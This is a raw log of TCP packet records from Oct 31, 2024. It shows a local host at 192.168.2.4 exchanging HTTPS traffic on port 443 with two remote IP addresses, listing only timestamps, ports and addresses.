Oct 31, 2024 07:41:15.582643032 CET	49733	443	192.168.2.4	164.132.58.105
Oct 31, 2024 07:41:15.582906008 CET	49733	443	192.168.2.4	164.132.58.105
Oct 31, 2024 07:41:15.582916021 CET	443	49733	164.132.58.105	192.168.2.4
Oct 31, 2024 07:41:16.426140070 CET	443	49733	164.132.58.105	192.168.2.4
Oct 31, 2024 07:41:16.426220894 CET	49733	443	192.168.2.4	164.132.58.105
Oct 31, 2024 07:41:16.427896976 CET	49733	443	192.168.2.4	164.132.58.105
Oct 31, 2024 07:41:16.427906036 CET	443	49733	164.132.58.105	192.168.2.4
Oct 31, 2024 07:41:16.428107023 CET	443	49733	164.132.58.105	192.168.2.4
Oct 31, 2024 07:41:16.429028034 CET	49733	443	192.168.2.4	164.132.58.105
Oct 31, 2024 07:41:16.471338034 CET	443	49733	164.132.58.105	192.168.2.4
Oct 31, 2024 07:41:16.967571020 CET	443	49733	164.132.58.105	192.168.2.4
Oct 31, 2024 07:41:16.967592955 CET	443	49733	164.132.58.105	192.168.2.4
Oct 31, 2024 07:41:16.967669964 CET	49733	443	192.168.2.4	164.132.58.105
Oct 31, 2024 07:41:16.967668056 CET	443	49733	164.132.58.105	192.168.2.4
Oct 31, 2024 07:41:16.967710972 CET	443	49733	164.132.58.105	192.168.2.4
Oct 31, 2024 07:41:16.967744112 CET	49733	443	192.168.2.4	164.132.58.105
Oct 31, 2024 07:41:16.967789888 CET	49733	443	192.168.2.4	164.132.58.105
Oct 31, 2024 07:41:16.969409943 CET	443	49733	164.132.58.105	192.168.2.4
Oct 31, 2024 07:41:16.969439983 CET	443	49733	164.132.58.105	192.168.2.4
Oct 31, 2024 07:41:16.969515085 CET	49733	443	192.168.2.4	164.132.58.105
Oct 31, 2024 07:41:16.969515085 CET	49733	443	192.168.2.4	164.132.58.105
Oct 31, 2024 07:41:16.969521999 CET	443	49733	164.132.58.105	192.168.2.4
Oct 31, 2024 07:41:17.009799004 CET	49733	443	192.168.2.4	164.132.58.105
Oct 31, 2024 07:41:17.087615013 CET	443	49733	164.132.58.105	192.168.2.4
Oct 31, 2024 07:41:17.087631941 CET	443	49733	164.132.58.105	192.168.2.4
Oct 31, 2024 07:41:17.087718964 CET	49733	443	192.168.2.4	164.132.58.105
Oct 31, 2024 07:41:17.087727070 CET	443	49733	164.132.58.105	192.168.2.4
Oct 31, 2024 07:41:17.090203047 CET	49733	443	192.168.2.4	164.132.58.105
Oct 31, 2024 07:41:17.205583096 CET	443	49733	164.132.58.105	192.168.2.4
Oct 31, 2024 07:41:17.205599070 CET	443	49733	164.132.58.105	192.168.2.4
Oct 31, 2024 07:41:17.205683947 CET	49733	443	192.168.2.4	164.132.58.105
Oct 31, 2024 07:41:17.205683947 CET	49733	443	192.168.2.4	164.132.58.105
Oct 31, 2024 07:41:17.205693960 CET	443	49733	164.132.58.105	192.168.2.4
Oct 31, 2024 07:41:17.205785990 CET	49733	443	192.168.2.4	164.132.58.105
Oct 31, 2024 07:41:17.323715925 CET	443	49733	164.132.58.105	192.168.2.4
Oct 31, 2024 07:41:17.323738098 CET	443	49733	164.132.58.105	192.168.2.4
Oct 31, 2024 07:41:17.323777914 CET	49733	443	192.168.2.4	164.132.58.105
Oct 31, 2024 07:41:17.323785067 CET	443	49733	164.132.58.105	192.168.2.4
Oct 31, 2024 07:41:17.323820114 CET	49733	443	192.168.2.4	164.132.58.105
Oct 31, 2024 07:41:17.323879957 CET	49733	443	192.168.2.4	164.132.58.105
Oct 31, 2024 07:41:17.442451954 CET	443	49733	164.132.58.105	192.168.2.4
Oct 31, 2024 07:41:17.442475080 CET	443	49733	164.132.58.105	192.168.2.4
Oct 31, 2024 07:41:17.442553043 CET	49733	443	192.168.2.4	164.132.58.105
Oct 31, 2024 07:41:17.442553043 CET	49733	443	192.168.2.4	164.132.58.105
Oct 31, 2024 07:41:17.442559004 CET	443	49733	164.132.58.105	192.168.2.4
Oct 31, 2024 07:41:17.442643881 CET	49733	443	192.168.2.4	164.132.58.105
Oct 31, 2024 07:41:17.487001896 CET	443	49733	164.132.58.105	192.168.2.4
Oct 31, 2024 07:41:17.487020969 CET	443	49733	164.132.58.105	192.168.2.4
Oct 31, 2024 07:41:17.487163067 CET	49733	443	192.168.2.4	164.132.58.105
Oct 31, 2024 07:41:17.487169981 CET	443	49733	164.132.58.105	192.168.2.4
Oct 31, 2024 07:41:17.487337112 CET	49733	443	192.168.2.4	164.132.58.105
Oct 31, 2024 07:41:17.561517000 CET	443	49733	164.132.58.105	192.168.2.4
Oct 31, 2024 07:41:17.561536074 CET	443	49733	164.132.58.105	192.168.2.4
Oct 31, 2024 07:41:17.561660051 CET	49733	443	192.168.2.4	164.132.58.105
Oct 31, 2024 07:41:17.561666012 CET	443	49733	164.132.58.105	192.168.2.4
Oct 31, 2024 07:41:17.561741114 CET	49733	443	192.168.2.4	164.132.58.105
Oct 31, 2024 07:41:17.679754972 CET	443	49733	164.132.58.105	192.168.2.4
Oct 31, 2024 07:41:17.679773092 CET	443	49733	164.132.58.105	192.168.2.4
Oct 31, 2024 07:41:17.679984093 CET	49733	443	192.168.2.4	164.132.58.105
Oct 31, 2024 07:41:17.679991007 CET	443	49733	164.132.58.105	192.168.2.4
Oct 31, 2024 07:41:17.680037022 CET	49733	443	192.168.2.4	164.132.58.105
Oct 31, 2024 07:41:17.724087000 CET	443	49733	164.132.58.105	192.168.2.4
Oct 31, 2024 07:41:17.724102020 CET	443	49733	164.132.58.105	192.168.2.4
Oct 31, 2024 07:41:17.724167109 CET	49733	443	192.168.2.4	164.132.58.105
Oct 31, 2024 07:41:17.724174023 CET	443	49733	164.132.58.105	192.168.2.4
Oct 31, 2024 07:41:17.725171089 CET	49733	443	192.168.2.4	164.132.58.105
Oct 31, 2024 07:41:17.799549103 CET	443	49733	164.132.58.105	192.168.2.4
Oct 31, 2024 07:41:17.799571037 CET	443	49733	164.132.58.105	192.168.2.4
Oct 31, 2024 07:41:17.799751043 CET	49733	443	192.168.2.4	164.132.58.105
Oct 31, 2024 07:41:17.799757004 CET	443	49733	164.132.58.105	192.168.2.4
Oct 31, 2024 07:41:17.799798012 CET	49733	443	192.168.2.4	164.132.58.105
Oct 31, 2024 07:41:17.919424057 CET	443	49733	164.132.58.105	192.168.2.4
Oct 31, 2024 07:41:17.919440985 CET	443	49733	164.132.58.105	192.168.2.4
Oct 31, 2024 07:41:17.919507980 CET	49733	443	192.168.2.4	164.132.58.105
Oct 31, 2024 07:41:17.919518948 CET	443	49733	164.132.58.105	192.168.2.4
Oct 31, 2024 07:41:17.920187950 CET	49733	443	192.168.2.4	164.132.58.105
Oct 31, 2024 07:41:17.960861921 CET	443	49733	164.132.58.105	192.168.2.4
Oct 31, 2024 07:41:17.960880995 CET	443	49733	164.132.58.105	192.168.2.4
Oct 31, 2024 07:41:17.961039066 CET	49733	443	192.168.2.4	164.132.58.105
Oct 31, 2024 07:41:17.961045027 CET	443	49733	164.132.58.105	192.168.2.4
Oct 31, 2024 07:41:17.961085081 CET	49733	443	192.168.2.4	164.132.58.105
Oct 31, 2024 07:41:18.036309004 CET	443	49733	164.132.58.105	192.168.2.4
Oct 31, 2024 07:41:18.036328077 CET	443	49733	164.132.58.105	192.168.2.4
Oct 31, 2024 07:41:18.036365986 CET	49733	443	192.168.2.4	164.132.58.105
Oct 31, 2024 07:41:18.036371946 CET	443	49733	164.132.58.105	192.168.2.4
Oct 31, 2024 07:41:18.036393881 CET	49733	443	192.168.2.4	164.132.58.105
Oct 31, 2024 07:41:18.036415100 CET	49733	443	192.168.2.4	164.132.58.105
Oct 31, 2024 07:41:18.080121994 CET	443	49733	164.132.58.105	192.168.2.4
Oct 31, 2024 07:41:18.080137968 CET	443	49733	164.132.58.105	192.168.2.4
Oct 31, 2024 07:41:18.080207109 CET	49733	443	192.168.2.4	164.132.58.105
Oct 31, 2024 07:41:18.080213070 CET	443	49733	164.132.58.105	192.168.2.4
Oct 31, 2024 07:41:18.080252886 CET	49733	443	192.168.2.4	164.132.58.105
Oct 31, 2024 07:41:18.155319929 CET	443	49733	164.132.58.105	192.168.2.4
Oct 31, 2024 07:41:18.155334949 CET	443	49733	164.132.58.105	192.168.2.4
Oct 31, 2024 07:41:18.155392885 CET	49733	443	192.168.2.4	164.132.58.105
Oct 31, 2024 07:41:18.155400991 CET	443	49733	164.132.58.105	192.168.2.4
Oct 31, 2024 07:41:18.155425072 CET	49733	443	192.168.2.4	164.132.58.105
Oct 31, 2024 07:41:18.155432940 CET	49733	443	192.168.2.4	164.132.58.105
Oct 31, 2024 07:41:18.197630882 CET	443	49733	164.132.58.105	192.168.2.4
Oct 31, 2024 07:41:18.197685003 CET	49733	443	192.168.2.4	164.132.58.105
Oct 31, 2024 07:41:18.197690964 CET	443	49733	164.132.58.105	192.168.2.4
Oct 31, 2024 07:41:18.197700024 CET	443	49733	164.132.58.105	192.168.2.4
Oct 31, 2024 07:41:18.197741985 CET	49733	443	192.168.2.4	164.132.58.105
Oct 31, 2024 07:41:18.197973013 CET	49733	443	192.168.2.4	164.132.58.105
Oct 31, 2024 07:41:18.210391045 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 07:41:18.210449934 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:18.210534096 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 07:41:18.210756063 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 07:41:18.210792065 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:18.828986883 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:18.829086065 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 07:41:18.831888914 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 07:41:18.831928015 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:18.832149029 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:18.833220005 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 07:41:18.879374981 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:19.134493113 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:19.134557962 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:19.134587049 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:19.134639025 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:19.134638071 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 07:41:19.134668112 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:19.134680986 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:19.134798050 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 07:41:19.134798050 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 07:41:19.134850025 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:19.164321899 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:19.164397955 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 07:41:19.164427996 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:19.213047028 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 07:41:19.253137112 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:19.253185987 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:19.253211975 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:19.253242970 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 07:41:19.253267050 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:19.253328085 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 07:41:19.253546000 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:19.253590107 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:19.253612995 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:19.253645897 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 07:41:19.253662109 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:19.253715038 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 07:41:19.254317999 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:19.283299923 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:19.283328056 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:19.283344984 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:19.283503056 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 07:41:19.283521891 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:19.338071108 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 07:41:19.372190952 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:19.372231960 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:19.372260094 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:19.372284889 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:19.372298002 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 07:41:19.372318029 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:19.372348070 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 07:41:19.372364998 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:19.372419119 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 07:41:19.372436047 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:19.373243093 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:19.373270035 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:19.373316050 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 07:41:19.373330116 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:19.373379946 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 07:41:19.402278900 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:19.402327061 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:19.402353048 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:19.402374983 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 07:41:19.402393103 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:19.402442932 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 07:41:19.491166115 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:19.491288900 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:19.491333008 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:19.491365910 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:19.491373062 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 07:41:19.491409063 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:19.491440058 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 07:41:19.492258072 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:19.492319107 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 07:41:19.492333889 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:19.492403984 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 07:41:19.521172047 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:19.521219969 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:19.521270037 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 07:41:19.521286964 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:19.521328926 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 07:41:19.521358013 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 07:41:19.610155106 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:19.610203028 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:19.610240936 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:19.610270977 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 07:41:19.610295057 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:19.610321999 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 07:41:19.610342026 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 07:41:19.611121893 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:19.611183882 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 07:41:19.640397072 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:19.640470982 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 07:41:19.729042053 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:19.729127884 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 07:41:19.729203939 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:19.729265928 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 07:41:19.729306936 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:19.729361057 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 07:41:19.730283976 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:19.730335951 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 07:41:19.759280920 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:19.759365082 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 07:41:19.801668882 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:19.801737070 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 07:41:19.848073959 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:19.848144054 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 07:41:19.848371029 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:19.848406076 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:19.848428011 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 07:41:19.848453999 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:19.848483086 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 07:41:19.878000975 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:19.878057957 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 07:41:19.878077030 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:19.878132105 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 07:41:19.961726904 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:19.961795092 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 07:41:19.966972113 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:19.967029095 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 07:41:19.967197895 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:19.967248917 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 07:41:19.967746973 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:19.967773914 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:19.967803955 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 07:41:19.967827082 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:19.967859030 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 07:41:19.997087002 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:19.997138023 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 07:41:19.997153997 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:19.997205019 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 07:41:20.080780029 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:20.080876112 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 07:41:20.086004972 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:20.086060047 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 07:41:20.086121082 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:20.086170912 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 07:41:20.086348057 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:20.086411953 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 07:41:20.087250948 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:20.087311029 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 07:41:20.115853071 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:20.116041899 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 07:41:20.199738979 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:20.199970007 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 07:41:20.204777956 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:20.204849005 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 07:41:20.205120087 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:20.205265045 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 07:41:20.205393076 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:20.205454111 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 07:41:20.206106901 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:20.206171036 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 07:41:20.234986067 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:20.235167980 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 07:41:20.319396019 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:20.319437981 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:20.319495916 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 07:41:20.319523096 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:20.319555044 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 07:41:20.319577932 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 07:41:20.324631929 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:20.324718952 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 07:41:20.324969053 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:20.325038910 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 07:41:20.325953007 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:20.326023102 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 07:41:20.443053961 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:20.443075895 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:20.443139076 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 07:41:20.443161964 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:20.443190098 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 07:41:20.443228960 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 07:41:20.473625898 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:20.473642111 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:20.473731995 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 07:41:20.473754883 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:20.473793983 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 07:41:20.473814964 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 07:41:20.562242985 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:20.562263012 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:20.562339067 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 07:41:20.562366009 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:20.562462091 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 07:41:20.634819984 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:20.634836912 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:20.635063887 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 07:41:20.635088921 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:20.635163069 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 07:41:20.681422949 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:20.681437016 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:20.681508064 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 07:41:20.681524992 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:20.681576967 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 07:41:20.795156956 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:20.795175076 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:20.795242071 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 07:41:20.795265913 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:20.795334101 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 07:41:20.800487041 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:20.800508022 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:20.800609112 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 07:41:20.800623894 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:20.800683975 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 07:41:20.913861990 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:20.913880110 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:20.913952112 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 07:41:20.913973093 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:20.914048910 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 07:41:20.919295073 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:20.919349909 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:20.919425011 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 07:41:20.919440031 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:20.919471979 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 07:41:20.919521093 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 07:41:20.949362040 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:20.949383020 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:20.949440956 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 07:41:20.949441910 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 07:41:20.949461937 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:20.949512005 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 07:41:21.038180113 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:21.038198948 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:21.038254023 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 07:41:21.038283110 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:21.038305998 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 07:41:21.039378881 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 07:41:21.068480015 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:21.068500996 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:21.068593025 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 07:41:21.068613052 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:21.068646908 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 07:41:21.070172071 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 07:41:21.157027006 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 07:41:21.157042980 CET	443	49736	188.114.97.3	192.168.2.4
